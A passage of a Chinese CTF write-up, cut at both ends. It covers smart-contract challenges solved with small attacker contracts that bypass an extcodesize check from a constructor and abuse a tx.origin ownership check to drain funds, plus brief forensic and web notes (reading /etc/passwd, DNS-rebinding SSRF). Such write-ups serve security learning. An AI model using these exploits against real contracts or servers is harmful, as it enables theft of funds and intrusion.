#a626a4;line-height: 26px;">return</span> the length of the initialization code.<br/></code></pre><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;color: black;margin: 10px 10px;line-height: 1.75;letter-spacing: 0.2em;font-size: 15px;word-spacing: 0.1em;">文档中写道，在执行初始化代码（构造函数），而新的区块还未添加到链上的时候，新的地址已经生成，然而代码区为空，此时，调用 EXTCODESIZE() 返回为 0</p><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="262" data-backw="474" style="max-width: 100%;border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=4378fb3b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el7cONGTXeJk4XOQrfGI13mknZnoMkOb9AmqVjqxluElkh4LzBLJJv7Q10OVYUGLTO1B2Ot4ANcIZQ%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;color: black;margin: 10px 10px;line-height: 1.75;letter-spacing: 0.2em;font-size: 15px;word-spacing: 0.1em;">部署合约第一次 balanceAmout 为 745, 加上 592 即可通过 isSolved() 函数得到 Flag</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/rK1nsTlCD8Ey8nfSstJoo2EVPiaycnQewpS1PrRVY5Vsdyn7t1wNz9gve518CVOKlS2HEOXwvl2Inn5ckLo0B7GxiaiaVXJBNhP/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(250, 250, 250);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #383a42;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #fafafa;border-radius: 5px;"><span style="color: #a0a1a7;font-style: italic;line-height: 26px;">// SPDX-License-Identifier: MIT</span><br/>pragma solidity ^<span style="color: #986801;line-height: 26px;">0.4</span><span style="color: #986801;line-height: 26px;">.0</span>;<br/>contract YouOnlyHaveOneChance {<br/>    uint256 <span style="color: #a626a4;line-height: 26px;">public</span> balanceAmount;<br/>    address <span style="color: #a626a4;line-height: 26px;">public</span> owner;<br/>    uint256 randNonce = <span style="color: #986801;line-height: 26px;">0</span>;<br/>    constructor() {<br/>        owner = msg.sender;<br/>        balanceAmount =<br/>            uint256(<br/>                keccak256(<br/>                    abi.encodePacked(block.timestamp, msg.sender, randNonce)<br/>                )<br/>            ) %<br/>            <span style="color: #986801;line-height: 26px;">1337</span>;<br/>    }<br/>    <span style="line-height: 26px;"><span style="color: #a626a4;line-height: 26px;">function</span> <span style="color: #4078f2;line-height: 26px;">isBig</span><span style="line-height: 26px;">(address _account)</span> <span style="color: #4078f2;line-height: 26px;">public</span> <span style="color: #4078f2;line-height: 26px;">view</span> <span style="color: #4078f2;line-height: 26px;">returns</span> <span style="line-height: 26px;">(bool)</span> </span>{<br/>        uint256 size;<br/>        assembly {<br/>            size := extcodesize(_account)<br/>        }<br/>        <span style="color: #a626a4;line-height: 26px;">return</span> size &gt; <span style="color: #986801;line-height: 26px;">0</span>;<br/>    }<br/>    <span style="line-height: 26px;"><span style="color: #a626a4;line-height: 26px;">function</span> <span style="color: #4078f2;line-height: 26px;">increaseBalance</span><span style="line-height: 26px;">(uint256 _amount)</span> <span style="color: #4078f2;line-height: 26px;">public</span> </span>{<br/>        <span style="color: #a626a4;line-height: 26px;">require</span>(tx.origin != msg.sender);<br/>        <span style="color: #a626a4;line-height: 26px;">require</span>(!isBig(msg.sender), <span style="color: #50a14f;line-height: 26px;">&#34;No Big Objects Allowed.&#34;</span>);<br/>        balanceAmount += _amount;<br/>    }<br/>    <span style="line-height: 26px;"><span style="color: #a626a4;line-height: 26px;">function</span> <span style="color: #4078f2;line-height: 26px;">isSolved</span><span style="line-height: 26px;">()</span> <span style="color: #4078f2;line-height: 26px;">public</span> <span style="color: #4078f2;line-height: 26px;">view</span> <span style="color: #4078f2;line-height: 26px;">returns</span> <span style="line-height: 26px;">(bool)</span> </span>{<br/>        <span style="color: #a626a4;line-height: 26px;">return</span> balanceAmount == <span style="color: #986801;line-height: 26px;">1337</span>;<br/>    }<br/>}<br/>contract hack {<br/>    <br/>    <span style="line-height: 26px;"><span style="color: #a626a4;line-height: 26px;">function</span> <span style="color: #4078f2;line-height: 26px;">hack</span><span style="line-height: 26px;">(address _c)</span> </span>{<br/>        YouOnlyHaveOneChance c = YouOnlyHaveOneChance(_c);<br/>        c.increaseBalance(<span style="color: #986801;line-height: 26px;">592</span>);<br/>    }<br/>}<br/></code></pre><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="255" data-backw="474" style="max-width: 100%;border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=3d16762b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el7cONGTXeJk4XOQrfGI13mkibDL5fdgJ77YY4BAiaic5sabXTibCU49L3bZicB1FnoHDvsAXcxhYtxnXvA%2F640%3Fwx_fmt%3Dpng"/></figure><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="118" data-backw="474" style="max-width: 100%;border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=002d3380&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el7cONGTXeJk4XOQrfGI13mky1MbJOhwnN22VVWfpt9lU7WKLha0RacYwVd0YKctLmglDncicLJGErg%2F640%3Fwx_fmt%3Dpng"/></figure><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;padding: 0px;font-weight: bold;font-size: 18px;color: #0e88eb;"><span style="display: none;"></span><span style="font-size: 18px;color: #0e88eb;">Duper Super Safe Safe</span><span style="display: none;"></span></h3><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;color: black;margin: 10px 10px;line-height: 1.75;letter-spacing: 0.2em;font-size: 15px;word-spacing: 0.1em;">合约源码</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/rK1nsTlCD8Ey8nfSstJoo2EVPiaycnQewpS1PrRVY5Vsdyn7t1wNz9gve518CVOKlS2HEOXwvl2Inn5ckLo0B7GxiaiaVXJBNhP/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(250, 250, 250);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #383a42;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #fafafa;border-radius: 5px;"><span style="color: #a0a1a7;font-style: italic;line-height: 26px;">// SPDX-License-Identifier: MIT</span><br/>pragma solidity ^<span style="color: #986801;line-height: 26px;">0.8</span><span style="color: #986801;line-height: 26px;">.0</span>;<br/>contract DuperSuperSafeSafe {<br/>  address <span style="color: #a626a4;line-height: 26px;">public</span> owner;<br/>  mapping(uint =&gt; bytes32) <span style="color: #a626a4;line-height: 26px;">private</span> secret_passphrases;<br/>  uint timestamp;<br/>  constructor(bytes32 _secret_passphrase, bytes32 _secret_passphrase_2) payable {<br/>    owner = msg.sender;<br/>    timestamp = block.timestamp;<br/>    secret_passphrases[<span style="color: #986801;line-height: 26px;">0</span>] = _secret_passphrase;<br/>    secret_passphrases[<span style="color: #986801;line-height: 26px;">1</span>] = _secret_passphrase_2;<br/>  }<br/>  receive() external payable {}<br/>  modifier restricted() {<br/>    <span style="color: #a626a4;line-height: 26px;">require</span>(<br/>      msg.sender == owner,<br/>      <span style="color: #50a14f;line-height: 26px;">&#34;This function is restricted to the contract&#39;s owner&#34;</span><br/>    );<br/>    _;<br/>  }<br/>  modifier passwordProtected(bytes32 _secret_passphrase, bytes32 _secret_passphrase_2, uint _timestamp) {<br/>    <span style="color: #a626a4;line-height: 26px;">require</span>(keccak256(abi.encodePacked(secret_passphrases[<span style="color: #986801;line-height: 26px;">0</span>], secret_passphrases[<span style="color: #986801;line-height: 26px;">1</span>], timestamp)) == keccak256(abi.encodePacked(_secret_passphrase, _secret_passphrase_2, _timestamp)), <span style="color: #50a14f;line-height: 26px;">&#34;Wrong secret passphrase&#34;</span>);<br/>    _;<br/>  }<br/>  <span style="line-height: 26px;"><span style="color: #a626a4;line-height: 26px;">function</span> <span style="color: #4078f2;line-height: 26px;">changeOwner</span><span style="line-height: 26px;">(address _newOwner)</span> <span style="color: #4078f2;line-height: 26px;">public</span> </span>{<br/>    <span style="color: #a626a4;line-height: 26px;">if</span> (tx.origin != msg.sender) {<br/>      owner = _newOwner;<br/>    }<br/>  }<br/>  <span style="line-height: 26px;"><span style="color: #a626a4;line-height: 26px;">function</span> <span style="color: #4078f2;line-height: 26px;">changeSecretPassphrase</span><span style="line-height: 26px;">(bytes32 _new_secret_passphrase, bytes32 _new_secret_passphrase_2, bytes32 _secret_passphrase, bytes32 _secret_passphrase_2, uint _timestamp)</span> <span style="color: #4078f2;line-height: 26px;">public</span> <span style="color: #4078f2;line-height: 26px;">restricted</span> <span style="color: #4078f2;line-height: 26px;">passwordProtected</span><span style="line-height: 26px;">(_secret_passphrase, _secret_passphrase_2, _timestamp)</span> </span>{<br/>    secret_passphrases[<span style="color: #986801;line-height: 26px;">0</span>] = _new_secret_passphrase;<br/>    secret_passphrases[<span style="color: #986801;line-height: 26px;">1</span>] = _new_secret_passphrase_2;<br/>    timestamp = block.timestamp;<br/>  }<br/>  <span style="line-height: 26px;"><span style="color: #a626a4;line-height: 26px;">function</span> <span style="color: #4078f2;line-height: 26px;">withdrawFunds</span><span style="line-height: 26px;">(uint _amount, bytes32 _secret_passphrase, bytes32 _secret_passphrase_2, uint _timestamp)</span> <span style="color: #4078f2;line-height: 26px;">external</span> <span style="color: #4078f2;line-height: 26px;">payable</span> <span style="color: #4078f2;line-height: 26px;">restricted</span> <span style="color: #4078f2;line-height: 26px;">passwordProtected</span><span style="line-height: 26px;">(_secret_passphrase, _secret_passphrase_2, _timestamp)</span> </span>{<br/>    <span style="color: #a626a4;line-height: 26px;">require</span>(balanceOf(msg.sender) &gt;= _amount, <span style="color: #50a14f;line-height: 26px;">&#34;Not enough funds&#34;</span>);<br/>    payable(address(msg.sender)).transfer(_amount);<br/>  }<br/>  <span style="line-height: 26px;"><span style="color: #a626a4;line-height: 26px;">function</span> <span style="color: #4078f2;line-height: 26px;">balanceOf</span><span style="line-height: 26px;">(address _addr)</span> <span style="color: #4078f2;line-height: 26px;">public</span> <span style="color: #4078f2;line-height: 26px;">view</span> <span style="color: #4078f2;line-height: 26px;">returns</span> <span style="line-height: 26px;">(uint balance)</span> </span>{<br/>    <span style="color: #a626a4;line-height: 26px;">return</span> address(_addr).balance;<br/>  }<br/>  <span style="line-height: 26px;"><span style="color: #a626a4;line-height: 26px;">function</span> <span style="color: #4078f2;line-height: 26px;">isSolved</span><span style="line-height: 26px;">()</span> <span style="color: #4078f2;line-height: 26px;">public</span> <span style="color: #4078f2;line-height: 26px;">view</span> <span style="color: #4078f2;line-height: 26px;">returns</span> <span style="line-height: 26px;">(bool)</span> </span>{<br/>    <span style="color: #a626a4;line-height: 26px;">return</span> balanceOf(address(this)) == <span style="color: #986801;line-height: 26px;">0</span>;<br/>  }<br/>}<br/>contract HostileTakeover {<br/>    <span style="line-height: 26px;"><span style="color: #a626a4;line-height: 26px;">function</span> <span style="color: #4078f2;line-height: 26px;">changeOwner</span><span style="line-height: 26px;">(address payable target, address newOwner)</span> <span style="color: #4078f2;line-height: 26px;">public</span> </span>{<br/>      DuperSuperSafeSafe(target).changeOwner(newOwner);<br/>    }<br/>}<br/></code></pre><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;color: black;margin: 10px 10px;line-height: 1.75;letter-spacing: 0.2em;font-size: 15px;word-spacing: 0.1em;">首先第一步需要获得 Owner权限</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/rK1nsTlCD8Ey8nfSstJoo2EVPiaycnQewpS1PrRVY5Vsdyn7t1wNz9gve518CVOKlS2HEOXwvl2Inn5ckLo0B7GxiaiaVXJBNhP/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(250, 250, 250);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #383a42;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #fafafa;border-radius: 5px;">modifier restricted() {<br/>    <span style="color: #a626a4;line-height: 26px;">require</span>(<br/>      msg.sender == owner,<br/>      <span style="color: #50a14f;line-height: 26px;">&#34;This function is restricted to the contract&#39;s owner&#34;</span><br/>    );<br/>    _;<br/>  }<br/></code></pre><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;color: black;margin: 10px 10px;line-height: 1.75;letter-spacing: 0.2em;font-size: 15px;word-spacing: 0.1em;">关注这几行代码, 通过合约调用时可以获取 Owner权限</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/rK1nsTlCD8Ey8nfSstJoo2EVPiaycnQewpS1PrRVY5Vsdyn7t1wNz9gve518CVOKlS2HEOXwvl2Inn5ckLo0B7GxiaiaVXJBNhP/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(250, 250, 250);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #383a42;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #fafafa;border-radius: 5px;"><span style="line-height: 26px;"><span style="color: #a626a4;line-height: 26px;">function</span> <span style="color: #4078f2;line-height: 26px;">changeOwner</span><span style="line-height: 26px;">(address _newOwner)</span> <span style="color: #4078f2;line-height: 26px;">public</span> </span>{<br/>    <span style="color: #a626a4;line-height: 26px;">if</span> (tx.origin != msg.sender) {<br/>      owner = _newOwner;<br/>    }<br/>  }<br/></code></pre><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;color: black;margin: 10px 10px;line-height: 1.75;letter-spacing: 0.2em;font-size: 15px;word-spacing: 0.1em;">题目要求为转移出合约中的所有资金，需要调用函数 withdrawFunds ，调用所需参数有 两个部署时的密码和 timestamp 来通过函数  changeSecretPassphrase 的验证， 测试部署使用密码 0xaa.... 和 0xbb....</p><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="236" data-backw="474" style="max-width: 100%;border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=51c287c7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el7cONGTXeJk4XOQrfGI13mkAHRkhYI6e1XKiaibN3fHvK1Bscmmg9PkoLPJV6u9zazN8ZyVSdLLr9mA%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;color: black;margin: 10px 10px;line-height: 1.75;letter-spacing: 0.2em;font-size: 15px;word-spacing: 0.1em;">产生 transaction hash, 编写 js 脚本查看信息</p><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="234" data-backw="474" style="max-width: 100%;border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=24d2b11d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el7cONGTXeJk4XOQrfGI13mkZuEDBfNsaGYiar0icN9UD45vkgfGmVOtDOglia9gldOW2CWPOtDqicKnDA%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;color: black;margin: 10px 10px;line-height: 1.75;letter-spacing: 0.2em;font-size: 15px;word-spacing: 0.1em;">而部署题目时，我们也有交易Hash，可以通过这个信息获取到 两个密钥和  timestamp</p><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="236" data-backw="474" style="max-width: 100%;border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=9d7244f2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el7cONGTXeJk4XOQrfGI13mk3vGIFG3SIM8j0EvKjUgrBicNicSkj2ZENyvW4WUrGCy0ibAL6dRY9E6Hw%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;color: black;margin: 10px 10px;line-height: 1.75;letter-spacing: 0.2em;font-size: 15px;word-spacing: 0.1em;">获取后再通过编写合约脚本调用函数 changeOwner 得到 Owner权限，通过 函数 withdrawFunds 清空合约资金</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;color: black;margin: 10px 10px;line-height: 1.75;letter-spacing: 0.2em;font-size: 15px;word-spacing: 0.1em;"><img class="rich_pages wxw-img" data-backh="234" data-backw="457" style="max-width: 100%;border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=125024fa&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el7cONGTXeJk4XOQrfGI13mkdysC6NhEj055UUM2Ws8QtyPczWbKSqcSS6SjeIYB1t9qAMib1odkUhw%2F640%3Fwx_fmt%3Dpng"/>通过得到的密码和 timestamp 转移资金</p><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="212" data-backw="474" style="max-width: 100%;border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=3ec1c251&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el7cONGTXeJk4XOQrfGI13mkOGZc2qjibSujicrrIuBxDkBSYYbGzfMJlmGBtnj3DDvTEOicBgA32E8wg%2F640%3Fwx_fmt%3Dpng"/></figure><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="80" data-backw="474" style="max-width: 100%;border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=d0e3a10a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el7cONGTXeJk4XOQrfGI13mkhlFFWOZBZAyf3hlo5ATmUIBPyTdJ6jN9FKVNfszTbnUhajBpIia6JGw%2F640%3Fwx_fmt%3Dpng"/></figure><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;padding: 0px;font-weight: bold;color: black;font-size: 22px;text-align: left;margin: 20px 10px 0px 0px;"><span style="display: none;"></span><span style="font-family: STHeitiSC-Light;font-size: 22px;color: #0e88eb;font-weight: bolder;display: inline-block;padding-left: 10px;border-left: 5px solid #0e88eb;">Forensic</span><span></span></h2><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;padding: 0px;font-weight: bold;font-size: 18px;color: #0e88eb;"><span style="display: none;"></span><span style="font-size: 18px;color: #0e88eb;">Sniffed Traffic</span><span style="display: none;"></span></h3><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;color: black;margin: 10px 10px;line-height: 1.75;letter-spacing: 0.2em;font-size: 15px;word-spacing: 0.1em;">扔进wireshark发现可疑文件</p><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="135" data-backw="474" style="max-width: 100%;border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=1de9e226&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el7cONGTXeJk4XOQrfGI13mkRna3PWV6usH6hxDZTsKXkiaAwpFBBM85X2TjdUYPcgiaRXk4cHtjcg6w%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;color: black;margin: 10px 10px;line-height: 1.75;letter-spacing: 0.2em;font-size: 15px;word-spacing: 0.1em;">导出后提示需要密码，tcp contains &#34;password&#34;找到密码
在解压后的文件中发现压缩包，解压需要密码</p><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="286" data-backw="474" style="max-width: 100%;border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=0d217193&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el7cONGTXeJk4XOQrfGI13mkzqHS7cQ6nA5KTH3kYeqSc0XYYe0d24cn6ibGLZ37CNLQOFNoK3AqdUw%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;color: black;margin: 10px 10px;line-height: 1.75;letter-spacing: 0.2em;font-size: 15px;word-spacing: 0.1em;">上工具爆破，秒开</p><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="311" data-backw="474" style="max-width: 100%;border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=5b619b01&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el7cONGTXeJk4XOQrfGI13mkGruHrg93mmsoTJrbZibnP2LavzCl60omjea3mLJRiaH0Sy0JEbvcznibQ%2F640%3Fwx_fmt%3Dpng"/></figure><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;padding: 0px;font-weight: bold;color: black;font-size: 22px;text-align: left;margin: 20px 10px 0px 0px;"><span style="display: none;"></span><span style="font-family: STHeitiSC-Light;font-size: 22px;color: #0e88eb;font-weight: bolder;display: inline-block;padding-left: 10px;border-left: 5px solid #0e88eb;">Web</span><span></span></h2><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;padding: 0px;font-weight: bold;font-size: 18px;color: #0e88eb;"><span style="display: none;"></span><span style="font-size: 18px;color: #0e88eb;">Sourceless Guessy Web (Baby Flag)</span><span style="display: none;"></span></h3><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;color: black;margin: 10px 10px;line-height: 1.75;letter-spacing: 0.2em;font-size: 15px;word-spacing: 0.1em;">直接读取 /etc/passwd</p><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="294" data-backw="474" style="max-width: 100%;border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=1c5d4a0c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el7cONGTXeJk4XOQrfGI13mkZPgvTCJamvLT6yYtGKJfaKibXny0UkAqsvvdIh1g0wuz3AHxDSbXt2w%2F640%3Fwx_fmt%3Dpng"/></figure><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;padding: 0px;font-weight: bold;font-size: 18px;color: #0e88eb;"><span style="display: none;"></span><span style="font-size: 18px;color: #0e88eb;">Super Secure Requests Forwarder (SSRF)</span><span style="display: none;"></span></h3><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;color: black;margin: 10px 10px;line-height: 1.75;letter-spacing: 0.2em;font-size: 15px;word-spacing: 0.1em;">利用 dns rebinding 在ceye.io 设置下</p><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="260" data-backw="474" style="max-width: 100%;border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=bbe3d63b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el7cONGTXeJk4XOQrfGI13mkGxhDJ2rtAVur0mlWLdCPMyibheVwVciaic2ZyR8iaTA1l78JUHS4NlPXzw%2F640%3Fwx_fmt%3Dpng"/></figure><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="238" data-backw="474" style="max-width: 100%;border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=d43ae94e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el7cONGTXeJk4XOQrfGI13mklWTYkSaW9oW6IW6SlNQ8M2C4be99PEoO52mYUZXxPlx77YajzBl2Aw%2F640%3Fwx_fmt%3Dpng"/></figure><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;padding: 0px;font-weight: bold;font-size: 18px;color: #0e88eb;"><span style="display: none;"></span><span style="font-size: 18px;color: #0e88eb;">Flag Portal (Flag 1)</span><span style="display: none;"></span></h3><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="197" data-backw="474" style="max-width: 100%;border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=db3cfa9c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el7cONGTXeJk4XOQrfGI13mkMsMKZxWVlQoLjCZULibia9wZ8X2IPicH9AEGuckjg5eibSNGhEBBxas5Cw%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;color: black;margin: 10px 10px;line-height: 1.75;letter-spacing: 0.2em;font-size: 